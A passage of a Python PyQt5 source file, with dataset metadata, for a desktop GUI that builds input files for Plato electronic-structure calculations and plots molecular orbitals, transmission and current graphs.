\"green\")\r\n            QApplication.processEvents()\r\n            i += 1\r\n        self.writeToLogs(\"All transmission calculations completed successfully.\", \"green\")\r\n        energy, gamma, transmission = process_energy_gamma_trans_csv(\".\", self.id)\r\n        energy_gamma_trans_graph(self.gammaGLWidget, energy, gamma, transmission)\r\n        self.mainWindow.setCurrentIndex(self.mainWindow.indexOf(self.gammaGraphTab))\r\n        self.propertiesWindow.setCurrentIndex(self.propertiesWindow.indexOf(self.graphSettingsTab))\r\n        self.writeToLogs(\"Energy vs. gamma vs. transmission graph plotted successfully.\\n\", \"green\")\r\n\r\n    # generateInputFileButton\r\n\r\n    def replaceTextEdit(self, filename):\r\n        self.inputTextEdit.clear()\r\n        with open(filename + \".in\", \"r\") as f:\r\n            contents = f.readlines()\r\n        for line, content in enumerate(contents):\r\n            self.inputTextEdit.insertPlainText(content)\r\n\r\n    def onGenerateInputFileButtonClicked(self):\r\n        try:\r\n            excess = float(self.excessLineEdit.text())\r\n        except ValueError:\r\n            self.writeErrorToLogs(\"Error: Missing input for excess electrons.\")\r\n            return\r\n        try:\r\n            filename = xyz_to_plato_input(self.openFileLineEdit.text(), excess, self.id)\r\n            self.inputFilename = filename\r\n            self.replaceTextEdit(filename)\r\n        except FileNotFoundError:\r\n            self.writeErrorToLogs(\"Error: No default input file found, check that config/default.in exists.\")\r\n            return\r\n        except IOError:\r\n            self.writeErrorToLogs(\"Error: No .xyz file selected to generate Plato input file.\")\r\n            return\r\n        self.writeToLogs(\"Input file \" + self.inputFilename + \".in generated successfully.\\n\", \"green\")\r\n        self.executeButton.setEnabled(True)\r\n\r\n    def onGenerateTransInputFileButtonClicked(self, boolean=False, verbose=True, gamma=None, step_size=0.003):\r\n        if gamma is None:\r\n            try:\r\n                gamma = float(self.gammaLineEdit.text())\r\n            except ValueError:\r\n                self.writeErrorToLogs(\"Error: Missing input for gamma.\")\r\n                return False\r\n        try:\r\n            excess = float(self.excessLineEdit.text())\r\n        except ValueError:\r\n            self.writeErrorToLogs(\"Error: Missing input for excess electrons.\")\r\n            return\r\n        try:\r\n            filename = trans_plato_input(self.openFileLineEdit.text(), self.transSelected, excess, gamma, step_size,\r\n                                         self.id)\r\n            self.inputFilename = filename\r\n            if verbose:\r\n                self.replaceTextEdit(filename)\r\n        except FileNotFoundError:\r\n            self.writeErrorToLogs(\r\n                \"Error: No default input file found, check that config/default_trans.in exists.\")\r\n            return False\r\n        except IOError:\r\n            self.writeErrorToLogs(\"Error: No .xyz file selected to generate Plato input file.\")\r\n            return False\r\n        except AssertionError:\r\n            self.writeErrorToLogs(\r\n                \"Error: Insufficient terminals selected (min. two required). Select terminals by left clicking atoms.\")\r\n            return False\r\n        if verbose:\r\n            self.writeToLogs(\"Transmission input file \" + self.inputFilename + \".in generated successfully.\\n\", \"green\")\r\n            self.executeTransButton.setEnabled(True)\r\n        return True\r\n\r\n    def onGenerateCurrInputFileButtonClicked(self, boolean, verbose=True, bias=None, step_size=0.003):\r\n        try:\r\n            gamma = float(self.gammaLineEdit.text())\r\n        except ValueError:\r\n            self.writeErrorToLogs(\"Error: Missing input for gamma.\")\r\n            return False\r\n        if bias is None:\r\n            try:\r\n                bias = float(self.biasLineEdit.text())\r\n            except ValueError:\r\n                self.writeErrorToLogs(\"Error: Missing input for bias.\")\r\n                return False\r\n        try:\r\n            reference_pot = float(self.referenceLineEdit.text())\r\n        except ValueError:\r\n            self.writeErrorToLogs(\"Error: Missing input for reference potential.\")\r\n            return\r\n        try:\r\n            excess = float(self.excessLineEdit.text())\r\n        except ValueError:\r\n            self.writeErrorToLogs(\"Error: Missing input for excess electrons.\")\r\n            return\r\n        try:\r\n            filename = curr_plato_input(self.openFileLineEdit.text(), self.transSelected, self.currentSelectedA,\r\n                                        self.currentSelectedB, excess, reference_pot, bias, gamma,\r\n                                        step_size, self.id)\r\n            self.inputFilename = filename\r\n            self.replaceTextEdit(filename)\r\n        except FileNotFoundError:\r\n            self.writeErrorToLogs(\r\n                \"Error: No default current input file found, check that config/default_curr.in exists.\")\r\n            return False\r\n        except IOError:\r\n            self.writeErrorToLogs(\"Error: No .xyz file selected to generate Plato input file.\")\r\n            return False\r\n        except AssertionError:\r\n            self.writeErrorToLogs(\r\n                \"Error: Insufficient terminals selected (two required). Select terminals by left clicking atoms.\")\r\n            return False\r\n        except NotImplementedError:\r\n            self.writeErrorToLogs(\r\n                \"Error: Incorrect number of terminals selected, may only calculate current between two terminals.\")\r\n            return False\r\n        except ValueError:\r\n            self.writeErrorToLogs(\r\n                \"Error: Insufficient atoms for region A (min. one required). Select atoms for A by right clicking.\")\r\n            return False\r\n        except ZeroDivisionError:\r\n            self.writeErrorToLogs(\r\n                \"Error: Insufficient atoms for region B (min. one required). Select atoms for B by middle clicking.\")\r\n            return False\r\n        if verbose:\r\n            self.writeToLogs(\"Current input file \" + self.inputFilename + \".in generated successfully.\\n\", \"green\")\r\n            self.executeCurrButton.setEnabled(True)\r\n        return True\r\n\r\n        # openFileButton\r\n        # openFileLineEdit\r\n\r\n    def onOpenFileButtonClicked(self):\r\n        filename, _ = QtWidgets.QFileDialog.getOpenFileName(parent=self, caption='Open xyz file',\r\n                                                            filter=\"XYZ File (*.xyz);;All Files (*.*)\")\r\n\r\n        if filename:\r\n            self.openFileLineEdit.setText(filename)\r\n\r\n    def onOpenOutFileButtonClicked(self):\r\n        filename, _ = QtWidgets.QFileDialog.getOpenFileName(parent=self, caption='Open output file',\r\n                                                            filter=\"Output File (*.out);;All Files (*.*)\")\r\n\r\n        if filename:\r\n            self.openOutFileLineEdit.setText(filename)\r\n\r\n    def onOpenOutFileButtonClicked2(self):\r\n        filename, _ = QtWidgets.QFileDialog.getOpenFileName(parent=self, caption='Open output file',\r\n                                                            filter=\"Output File (*.out);;All Files (*.*)\")\r\n\r\n        if filename:\r\n            self.openOutFileLineEdit2.setText(filename)\r\n\r\n    def onOpenWfFileButtonClicked(self):\r\n        filename, _ = QtWidgets.QFileDialog.getOpenFileName(parent=self, caption='Open wavefunction file',\r\n                                                            filter=\"Wavefunction File (*.wf);;All Files (*.*)\")\r\n        if filename:\r\n            self.openWfFileLineEdit.setText(filename)\r\n\r\n    def onOpenCsvFileButtonClicked(self):\r\n        filename, _ = QtWidgets.QFileDialog.getOpenFileName(parent=self, caption='Open transmission csv file',\r\n                                                            filter=\"CSV File (*.csv);;All Files (*.*)\")\r\n\r\n        if filename:\r\n            self.openCsvFileLineEdit.setText(filename)\r\n\r\n    def onOpenDirButtonClicked(self):\r\n        dirname = QtWidgets.QFileDialog.getExistingDirectory(parent=self, caption='Select directory')\r\n\r\n        if dirname:\r\n            self.openDirLineEdit.setText(dirname)\r\n\r\n    def onOpenDirGammaButtonClicked(self):\r\n        dirname = QtWidgets.QFileDialog.getExistingDirectory(parent=self, caption='Select directory')\r\n\r\n        if dirname:\r\n            self.gammaOpenDirLineEdit.setText(dirname)\r\n\r\n    def onExecuteLoadedButtonClicked(self):\r\n        if self.openOutFileLineEdit.text() == \"\":\r\n            self.writeErrorToLogs(\"Error: no Plato output file (.out) selected.\")\r\n            return\r\n        if self.openWfFileLineEdit.text() == \"\":\r\n            self.writeErrorToLogs(\"Error: no Plato wavefunction file (.wf) selected.\")\r\n            return\r\n        self.atoms = input_file_setup(self.openOutFileLineEdit.text(), \"config/attributes.txt\",\r\n                                      self.openWfFileLineEdit.text())\r\n        self.horizontalSlider.setMinimum(0)\r\n        self.horizontalSlider.setMaximum(self.atoms[0].get_total_orbitals() - 1)\r\n        self.openGLWidget.atoms = self.atoms\r\n        self.draw()\r\n        self.mainWindow.setCurrentIndex(self.mainWindow.indexOf(self.mainDisplayTab))\r\n        self.propertiesWindow.setCurrentIndex(self.propertiesWindow.indexOf(self.displaySettingsTab))\r\n        self.writeToLogs(\"Execution carried out successfully.\\n\", \"green\")\r\n        self.transSelected = {\"1\": [], \"2\": [], \"3\": [], \"4\": [], \"5\": []}\r\n        self.currentSelectedA = []\r\n        self.currentSelectedB = []\r\n\r\n    def onTransExecuteLoadedButtonClicked(self):\r\n        if self.openCsvFileLineEdit.text() == \"\":\r\n            self.writeErrorToLogs(\"Error: no Plato generated csv file (.csv) selected.\")\r\n            return\r\n        self.csvFilename = self.openCsvFileLineEdit.text()\r\n        headers_mapped, headers = transmission_headers(self.csvFilename, self.transSelected)\r\n        if self.openOutFileLineEdit2.text() == \"\":\r\n            self.offset = 0\r\n        else:\r\n            self.offset = find_chemical_potential(self.openOutFileLineEdit2.text())\r\n        self.offsetLineEdit.setText(str(self.offset))\r\n        self.writeToLogs(\"Graph offset set to \" + str(self.offset) + \".\", \"green\")\r\n        self.graphKeys = headers\r\n        self.graphComboBox.clear()\r\n        self.graphComboBox.addItems(headers_mapped)\r\n        self.mainWindow.setCurrentIndex(self.mainWindow.indexOf(self.graphTab))\r\n        self.propertiesWindow.setCurrentIndex(self.propertiesWindow.indexOf(self.graphSettingsTab))\r\n        self.writeToLogs(\"Graphs plotted successfully.\\n\", \"green\")\r\n\r\n    def onCurrExecuteLoadedButtonClicked(self):\r\n        if self.openDirLineEdit.text() == \"\":\r\n            self.writeErrorToLogs(\"Error: no directory selected.\")\r\n            return\r\n        bias_v, bias, currents = process_current_out(self.openDirLineEdit.text())\r\n        self.writeToLogs(\"Bias from directory determined to be \" + bias_v + \".\", \"green\")\r\n        current_graph(self.graphWidget2, bias, np.array(currents) / 1000)\r\n        self.mainWindow.setCurrentIndex(self.mainWindow.indexOf(self.graphTab2))\r\n        self.writeToLogs(\"Current vs. bias graph plotted successfully.\\n\", \"green\")\r\n\r\n    def onGammaExecuteLoadedButtonClicked(self):\r\n        self.gammaGLWidget.clear()\r\n        if self.gammaOpenDirLineEdit.text() == \"\":\r\n            self.writeErrorToLogs(\"Error: no directory selected.\")\r\n            return\r\n        energy, gamma, transmission = process_energy_gamma_trans_csv(self.gammaOpenDirLineEdit.text(), None)\r\n        energy_gamma_trans_graph(self.gammaGLWidget, energy, gamma, transmission)\r\n        self.mainWindow.setCurrentIndex(self.mainWindow.indexOf(self.gammaGraphTab))\r\n        self.propertiesWindow.setCurrentIndex(self.propertiesWindow.indexOf(self.graphSettingsTab))\r\n        self.writeToLogs(\"Energy vs. gamma vs. transmission graph plotted successfully.\\n\", \"green\")\r\n\r\n    # SwitchToInputFileTabButton\r\n\r\n    def onSwitchToInputFileTabButtonClicked(self):\r\n        self.mainWindow.setCurrentIndex(self.mainWindow.indexOf(self.inputFileTab))\r\n\r\n        # graphSettingsTab\r\n\r\n    def setGraphComboBox(self):\r\n        transmission_graph(self.graphWidget, self.csvFilename, self.graphKeys[self.graphComboBox.currentIndex()],\r\n                           self.offset)\r\n\r\n    def setTerminalComboBox(self):\r\n        self.openGLWidget.terminal = self.terminalComboBox.currentIndex() + 1\r\n\r\n        # atomSettingsTab\r\n        # atomColSlider\r\n        # atomColSliderLabel\r\n\r\n    def setAtomColSliderLabel(self):\r\n        value = self.atomColSlider.value()\r\n        self.atomCol = value\r\n        self.draw()\r\n\r\n    def updateAtomColSliderLabel(self):\r\n        value = self.atomColSlider.value()\r\n        self.atomColSliderLabel.setText(\"Columns: \" + str(value))\r\n\r\n        # atomRowSlider\r\n        # atomRowSliderLabel\r\n\r\n    def setAtomRowSliderLabel(self):\r\n        value = self.atomRowSlider.value()\r\n        self.atomRow = value\r\n        self.draw()\r\n\r\n    def updateAtomRowSliderLabel(self):\r\n        value = self.atomRowSlider.value()\r\n        self.atomRowSliderLabel.setText(\"Rows: \" + str(value))\r\n\r\n        # bondColSlider\r\n        # bondColSliderLabel\r\n\r\n    def setBondColSliderLabel(self):\r\n        value = self.bondColSlider.value()\r\n        self.bondCol = value\r\n        self.draw()\r\n\r\n    def updateBondColSliderLabel(self):\r\n        value = self.bondColSlider.value()\r\n        self.bondColSliderLabel.setText(\"Columns: \" + str(value))\r\n\r\n        # bondRowSlider\r\n        # bondRowSliderLabel\r\n\r\n    def setBondRowSliderLabel(self):\r\n        value = self.bondRowSlider.value()\r\n        self.bondRow = value\r\n        self.draw()\r\n\r\n    def updateBondRowSliderLabel(self):\r\n        value = self.bondRowSlider.value()\r\n        self.bondRowSliderLabel.setText(\"Rows: \" + str(value))\r\n\r\n        # brightnessSlider\r\n        # brightnessSliderLabel\r\n\r\n    def setBrightnessSliderLabel(self):\r\n        value = self.brightnessSlider.value()\r\n        self.backgroundColor = (value, value, value)\r\n        self.openGLWidget.setBackgroundColor(self.backgroundColor)\r\n\r\n    def updateBrightnessSliderLabel(self):\r\n        value = self.brightnessSlider.value()\r\n        self.brightnessSliderLabel.setText(\"Brightness: \" + str(value))\r\n\r\n        # checkBoxIndex\r\n        # checkBoxSymbol\r\n        # checkBoxPosition\r\n        # checkBoxRadius\r\n        # fontComboBox\r\n        # sizeComboBox\r\n        # offsetComboBox\r\n        # colourComboBox\r\n\r\n    def setCheckBoxIndex(self, state):\r\n        self.openGLWidget.index = state\r\n        self.openGLWidget.update()\r\n\r\n    def setCheckBoxSymbol(self, state):\r\n        self.openGLWidget.symbol = state\r\n        self.openGLWidget.update()\r\n\r\n    def setCheckBoxPosition(self, state):\r\n        self.openGLWidget.position = state\r\n        self.openGLWidget.update()\r\n\r\n    def setCheckBoxRadius(self, state):\r\n        self.openGLWidget.radius = state\r\n        self.openGLWidget.update()\r\n\r\n    def setFontComboBox(self):\r\n        self.openGLWidget.font = self.fontComboBox.currentText()\r\n        self.openGLWidget.update()\r\n\r\n    def setSizeComboBox(self):\r\n        self.openGLWidget.size = int(self.sizeComboBox.currentText())\r\n        self.openGLWidget.update()\r\n\r\n    def setOffsetComboBox(self, state):\r\n        self.openGLWidget.offset = state\r\n        self.openGLWidget.update()\r\n\r\n    def setColourComboBox(self):\r\n        self.openGLWidget.colour = self.colourComboBox.currentText()\r\n        self.openGLWidget.update()\r\n\r\n        # bondRadiusSlider\r\n        # bondRadiusSliderLabel\r\n\r\n    def setBondRadiusSliderLabel(self):\r\n        value = self.bondRadiusSlider.value()\r\n        self.bondRadius = value / 100\r\n        self.draw()\r\n\r\n    def updateBondRadiusSliderLabel(self):\r\n        value = self.bondRadiusSlider.value()\r\n        self.bondRadiusSliderLabel.setText(\"Radius: \" + str(value / 100))\r\n\r\n        # bondThresholdSlider\r\n        # bondThresholdSliderlabel\r\n\r\n    def setBondThresholdSliderLabel(self):\r\n        value = self.bondThresholdSlider.value()\r\n        self.bondThreshold = value / 10\r\n        self.draw()\r\n\r\n    def updateBondThresholdSliderLabel(self):\r\n        value = self.bondThresholdSlider.value()\r\n        self.bondThresholdSliderLabel.setText(\"Length: \" + str(value / 10))\r\n\r\n        # switchToAttrFileTabButton\r\n\r\n    def onSwitchToAttrFileTabButtonClicked(self):\r\n        self.mainWindow.setCurrentIndex(self.mainWindow.indexOf(self.attributeFileTab))\r\n\r\n        # orbitalSettingsTab\r\n        # advOrbWfCheckBox\r\n        # advOrbHorzCheckBox\r\n        # advOrbVertCheckBox\r\n        # sphOrbWfCheckBox\r\n\r\n    def draw(self):\r\n        atoms_off = self.toggleAtomsButton.isChecked()\r\n        self.openGLWidget.clear()\r\n\r\n        # Plot atoms and bonds\r\n        if not atoms_off:\r\n            draw_atoms(self.atoms, self.openGLWidget, self.atomRow, self.atomCol)\r\n            draw_bonds(self.atoms, self.openGLWidget, self.bondRow, self.bondCol, self.bondRadius, self.bondThreshold)\r\n            draw_selection(self.atoms, self.openGLWidget, self.atomRow, self.atomCol)\r\n\r\n        # Plot orbitals\r\n        if self.advOrbWfCheckBox.isChecked():\r\n            draw_advOrbWf(self.atoms, self.openGLWidget, self.mode, self.orbRow, self.orbCol, self.orbScaler,\r\n                          self.theta, self.phi, self.R, self.G, self.B, self.A)\r\n\r\n        if self.advOrbHorzCheckBox.isChecked():\r\n            draw_advOrbHorz(self.atoms, self.openGLWidget, self.mode, self.orbScaler, self.theta, self.phi, self.R,\r\n                            self.G, self.B, self.A)\r\n\r\n        if self.advOrbVertCheckBox.isChecked():\r\n            draw_advOrbVert(self.atoms, self.openGLWidget, self.mode, self.orbScaler, self.theta, self.phi, self.R,\r\n                            self.G, self.B, self.A)\r\n\r\n        if self.sphOrbWfCheckBox.isChecked():\r\n            draw_sphOrbWf(self.atoms, self.openGLWidget, self.mode, self.orbRow, self.orbCol, self.orbScaler, self.R,\r\n                          self.G, self.B, self.A)\r\n\r\n        if self.sphOrbFacesCheckBox.isChecked():\r\n            draw_sphOrbFaces(self.atoms, self.openGLWidget, self.mode, self.orbRow, self.orbCol, self.orbScaler, self.R,\r\n                             self.G, self.B, self.A)\r\n\r\n        if self.advOrbFacesCheckBox.isChecked():\r\n            draw_advOrbFaces(self.atoms, self.openGLWidget, self.mode, self.orbRow, self.orbCol, self.orbScaler,\r\n                             self.theta, self.phi, self.R, self.G, self.B, self.A)\r\n\r\n        # orbColSlider\r\n        # orbColSliderLabel\r\n\r\n    def setOrbColSliderLabel(self):\r\n        value = self.orbColSlider.value()\r\n        self.orbCol = value\r\n        self.draw()\r\n\r\n    def updateOrbColSliderLabel(self):\r\n        value = self.orbColSlider.value()\r\n        self.orbColSliderLabel.setText(\"Columns: \" + str(value))\r\n\r\n        # orbRowSlider\r\n        # orbRowSliderLabel\r\n\r\n    def setOrbRowSliderLabel(self):\r\n        value = self.orbRowSlider.value()\r\n        self.orbRow = value\r\n        self.draw()\r\n\r\n    def updateOrbRowSliderLabel(self):\r\n        value = self.orbRowSlider.value()\r\n        self.orbRowSliderLabel.setText(\"Rows: \" + str(value))\r\n\r\n        # orbScalerSlider\r\n        # orbScalerSliderLabel\r\n\r\n    def setScalerSliderLabel(self):\r\n        value = self.orbScalerSlider.value()\r\n        self.orbScaler = value\r\n        self.draw()\r\n\r\n    def updateScalerSliderLabel(self):\r\n        value = self.orbScalerSlider.value()\r\n        self.orbScalerSliderLabel.setText(\"Scaler: \" + str(value))\r\n\r\n    def setThetaSliderLabel(self):\r\n        value = self.thetaSlider.value()\r\n        self.theta = math.radians(value)\r\n        self.draw()\r\n\r\n    def updateThetaSliderLabel(self):\r\n        value = self.thetaSlider.value()\r\n        self.thetaSliderLabel.setText(\"Theta: \" + str(value))\r\n\r\n    def setPhiSliderLabel(self):\r\n        value = self.phiSlider.value()\r\n        self.phi = math.radians(value)\r\n        self.draw()\r\n\r\n    def updatePhiSliderLabel(self):\r\n        value = self.phiSlider.value()\r\n        self.phiSliderLabel.setText(\"Phi: \" + str(value))\r\n\r\n    def setColourRSliderLabel(self):\r\n        value = self.colourRSlider.value()\r\n        self.R = value / 100\r\n        self.draw()\r\n\r\n    def setColourGSliderLabel(self):\r\n        value = self.colourGSlider.value()\r\n        self.G = value / 100\r\n        self.draw()\r\n\r\n    def setColourBSliderLabel(self):\r\n        value = self.colourBSlider.value()\r\n        self.B = value / 100\r\n        self.draw()\r\n\r\n    def setColourASliderLabel(self):\r\n        value = self.colourASlider.value()\r\n        self.A = value / 100\r\n        self.draw()\r\n\r\n    def updateColourRSliderLabel(self):\r\n        value = self.colourRSlider.value()\r\n        self.colourRSliderLabel.setText(\"R: \" + str(value / 100))\r\n\r\n    def updateColourGSliderLabel(self):\r\n        value = self.colourGSlider.value()\r\n        self.colourGSliderLabel.setText(\"G: \" + str(value / 100))\r\n\r\n    def updateColourBSliderLabel(self):\r\n        value = self.colourBSlider.value()\r\n        self.colourBSliderLabel.setText(\"B: \" + str(value / 100))\r\n\r\n    def updateColourASliderLabel(self):\r\n        value = self.colourASlider.value()\r\n        self.colourASliderLabel.setText(\"A: \" + str(value / 100))\r\n\r\n    # mainDisplayTab\r\n    # horizontalSlider\r\n    # horizontalSliderLabel\r\n    def setHorizontalSliderLabel(self):\r\n        value = self.horizontalSlider.value()\r\n        self.mode = value\r\n        self.draw()\r\n\r\n    def updateHorizontalSliderLabel(self):\r\n        value = self.horizontalSlider.value()\r\n        self.horizontalSliderLabel.setText(\"Molecular Orbital: \" + str(value + 1))\r\n        self.horizontalSliderEnergyLabel.setText(\"Energy (eV): \" + self.atoms[0].get_eigenenergy(value))\r\n\r\n    # openGLWidget\r\n    def onTransSelection(self):\r\n        self.transSelected = {\"1\": [], \"2\": [], \"3\": [], \"4\": [], \"5\": []}\r\n        self.draw()\r\n        for i in range(len(self.atoms)):\r\n            terminal = self.atoms[i].get_isSelectedTrans()\r\n            if terminal:\r\n                self.transSelected[str(terminal)].append(str(i + 1))\r\n        self.writeToLogs(\"Selected atom indices for terminals 1-5:\", \"black\")\r\n        for key in self.transSelected:\r\n            self.writeToLogs(\"Terminal \" + key + \": \" + \", \".join(self.transSelected[key]), colours(key))\r\n        self.writeToLogs(\"\\n\", \"black\")\r\n\r\n    def onCurrentSelectionA(self):\r\n        self.currentSelectedA = []\r\n        self.draw()\r\n        for i in range(len(self.atoms)):\r\n            if self.atoms[i].get_isSelectedCurrA():\r\n                self.currentSelectedA.append(i + 1)\r\n        if len(self.currentSelectedA) == 0:\r\n            self.writeToLogs(\"No regions selected.\", \"purple\")\r\n            return\r\n        selection = \"Region A by atom index: \"\r\n        for j in range(len(self.currentSelectedA)):\r\n            selection = selection + str(self.currentSelectedA[j]) + \", \"\r\n        self.writeToLogs(selection[:-2], \"purple\")\r\n\r\n    def onCurrentSelectionB(self):\r\n        self.currentSelectedB = []\r\n        self.draw()\r\n        for i in range(len(self.atoms)):\r\n            if self.atoms[i].get_isSelectedCurrB():\r\n                self.currentSelectedB.append(i + 1)\r\n        if len(self.currentSelectedB) == 0:\r\n            self.writeToLogs(\"No regions selected.\", \"lime\")\r\n            return\r\n        selection = \"Region B by atom index: \"\r\n        for j in range(len(self.currentSelectedB)):\r\n            selection = selection + str(self.currentSelectedB[j]) + \", \"\r\n        self.writeToLogs(selection[:-2], \"lime\")\r\n\r\n    # resetViewButton\r\n    def onResetViewButtonClicked(self):\r\n        self.openGLWidget.reset()\r\n        self.openGLWidget.setBackgroundColor(self.backgroundColor)\r\n        self.writeToLogs(\"View reset to default.\", \"grey\")\r\n\r\n    # saveImageButton\r\n    def onSaveImageButtonClicked(self):\r\n        filename, _ = QtWidgets.QFileDialog.getSaveFileName(parent=self, caption='Save image',\r\n                                                            filter=\"PNG Image (*.png);;JPEG Image (*.jpg);;All Files (*.*)\")\r\n\r\n        self.openGLWidget.readQImage().save(filename)\r\n\r\n    def onSave3DImageButtonClicked(self):\r\n        filename, _ = QtWidgets.QFileDialog.getSaveFileName(parent=self, caption='Save image',\r\n                                                            filter=\"PNG Image (*.png);;JPEG Image (*.jpg);;All Files (*.*)\")\r\n\r\n        self.gammaGLWidget.readQImage().save(filename)\r\n\r\n    # toggleAtomsButton\r\n    def onToggleAtomsButtonClicked(self):\r\n        if self.toggleAtomsButton.isChecked():\r\n            self.draw()\r\n            self.writeToLogs(\"Atoms toggled off.\", \"grey\")\r\n            return\r\n        self.draw()\r\n        self.writeToLogs(\"Atoms toggled on.\", \"grey\")\r\n\r\n    # inputFileTab\r\n    # inputTextEdit\r\n    # saveInputFileButton\r\n    def onSaveInputFileButtonClicked(self):\r\n        with open(self.inputFilename + \".in\", 'w') as f:\r\n            f.write(str(self.inputTextEdit.toPlainText()))\r\n        self.writeToLogs(\"Input file \" + self.inputFilename + \".in saved successfully.\", \"green\")\r\n\r\n    def onGammaLineEditChanged(self):\r\n        string = self.gammaLineEdit.text()\r\n        if not isposfloat(string):\r\n            self.writeErrorToLogs(\"Error: non-positive float '\" + string + \"' entered for gamma.\")\r\n            self.gammaLineEdit.setText(\"\")\r\n            self.gammaLineEdit2.setText(\"\")\r\n        else:\r\n            self.gammaLineEdit.setText(string)\r\n            self.gammaLineEdit2.setText(string)\r\n\r\n    def onGammaLineEditChanged2(self):\r\n        string = self.gammaLineEdit2.text()\r\n        if not isposfloat(string):\r\n            self.writeErrorToLogs(\"Error: non-positive float '\" + string + \"' entered for gamma.\")\r\n            self.gammaLineEdit.setText(\"\")\r\n            self.gammaLineEdit2.setText(\"\")\r\n        else:\r\n            self.gammaLineEdit.setText(string)\r\n            self.gammaLineEdit2.setText(string)\r\n\r\n    def onExcessLineEditChanged(self):\r\n        string = self.excessLineEdit.text()\r\n        if not isfloat(string):\r\n            self.writeErrorToLogs(\"Error: non-float '\" + string + \"' entered for excess electrons.\")\r\n            self.excessLineEdit.setText(\"\")\r\n\r\n    def onReferenceLineEditChanged(self):\r\n        string = self.referenceLineEdit.text()\r\n        if not isfloat(string):\r\n            self.writeErrorToLogs(\"Error: non-float '\" + string + \"' entered for reference potential.\")\r\n            self.referenceLineEdit.setText(\"\")\r\n\r\n    def onBiasLineEditChanged(self):\r\n        string = self.biasLineEdit.text()\r\n        if not isfloat(string):\r\n            self.writeErrorToLogs(\"Error: non-float '\" + string + \"' entered for bias.\")\r\n            self.biasLineEdit.setText(\"\")\r\n\r\n    def onStepsLineEditChanged(self):\r\n        string = self.stepsLineEdit.text()\r\n        if not isnatnumber(string):\r\n            self.writeErrorToLogs(\"Error: non-natural number '\" + string + \"' entered for steps.\")\r\n            self.stepsLineEdit.setText(\"\")\r\n\r\n    def onGammaStartLineEditChanged(self):\r\n        string = self.gammaStartLineEdit.text()\r\n        if not isposfloat(string):\r\n            self.writeErrorToLogs(\"Error: non-pos float '\" + string + \"' entered for gamma start value.\")\r\n            self.gammaStartLineEdit.setText(\"\")\r\n\r\n    def onGammaEndLineEditChanged(self):\r\n        string = self.gammaEndLineEdit.text()\r\n        if not isposfloat(string):\r\n            self.writeErrorToLogs(\"Error: non-pos float '\" + string + \"' entered for gamma end value.\")\r\n            self.gammaEndLineEdit.setText(\"\")\r\n\r\n    def onGammaStepsLineEditChanged(self):\r\n        string = self.gammaStepsLineEdit.text()\r\n        if not isnatnumber(string):\r\n            self.writeErrorToLogs(\"Error: non-natural number '\" + string + \"' entered for gamma steps value.\")\r\n            self.gammaStepsLineEdit.setText(\"\")\r\n\r\n    def onOffsetLineEditChanged(self):\r\n        string = self.offsetLineEdit.text()\r\n        if not isfloat(string):\r\n            self.writeErrorToLogs(\"Error: non-float '\" + string + \"' entered for offset value.\")\r\n            self.offsetLineEdit.setText(\"0\")\r\n        else:\r\n            self.offset = float(self.offsetLineEdit.text())\r\n            self.setGraphComboBox()\r\n\r\n    # AttributeFileTab\r\n    # attributeTextEdit\r\n    # saveAttributeFileButton\r\n    def onSaveAttributeFileButtonClicked(self):\r\n        with open(\"config/attributes.txt\", 'w') as f:\r\n            f.write(str(self.attributeTextEdit.toPlainText()))\r\n        self.writeToLogs(\"Attribute file attributes.txt modified successfully. Settings will be applied on next \"\r\n                         \"execution.\", \"green\")\r\n\r\n    # fullConsoleTab\r\n    # fullConsoleTextEdit\r\n    def writeToLogs(self, text, color):\r\n        self.consoleLog.setTextColor(QColor(color))\r\n        self.fullConsoleLog.setTextColor(QColor(color))\r\n        self.consoleLog.append(text)\r\n        self.fullConsoleLog.append(text)\r\n\r\n    def writeErrorToLogs(self, text):\r\n        self.consoleLog.setTextColor(QColor(\"red\"))\r\n        self.fullConsoleLog.setTextColor(QColor(\"red\"))\r\n        self.consoleLog.append(text)\r\n        self.fullConsoleLog.append(text)\r\n        self.fullConsoleLog.append(traceback.format_exc())\r\n\r\n\r\nif __name__ == '__main__':\r\n    main = MainWindow(resolution.width)\r\n    # main = MainWindow(resolution.width, default_input)\r\n    main.show()\r\n    sys.exit(app.exec_())\r\n", "repo_name": "aaronlam123/Platomic", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 50509, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.seterr", "line_number": 17, "usage_type": "call"}, {"api_name": "pyautogui.size", "line_number": 18, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 19, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 20, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 20, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 20, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 25, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 25, "usage_type": "name"}, {"api_name": "PyQt5.uic.loadUi", "line_number": 31, "usage_type": "call"}, {"api_name": "PyQt5.uic", "line_number": 31, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 33, "usage_type": "call"}, {"api_name": "secrets.token_hex", "line_number": 46, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 222, "usage_type": "call"}, {"api_name": "os.name", "line_number": 303, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 311, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 311, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.processEvents", "line_number": 319, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 319, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.processEvents", "line_number": 326, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 326, "usage_type": "name"}, {"api_name": "secrets.token_hex", "line_number": 341, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication.processEvents", "line_number": 345, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 345, "usage_type": "name"}, {"api_name": "secrets.token_hex", "line_number": 361, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication.processEvents", "line_number": 365, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 365, "usage_type": "name"}, {"api_name": "secrets.token_hex", "line_number": 373, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 403, "usage_type": "call"}, {"api_name": "secrets.token_hex", "line_number": 405, 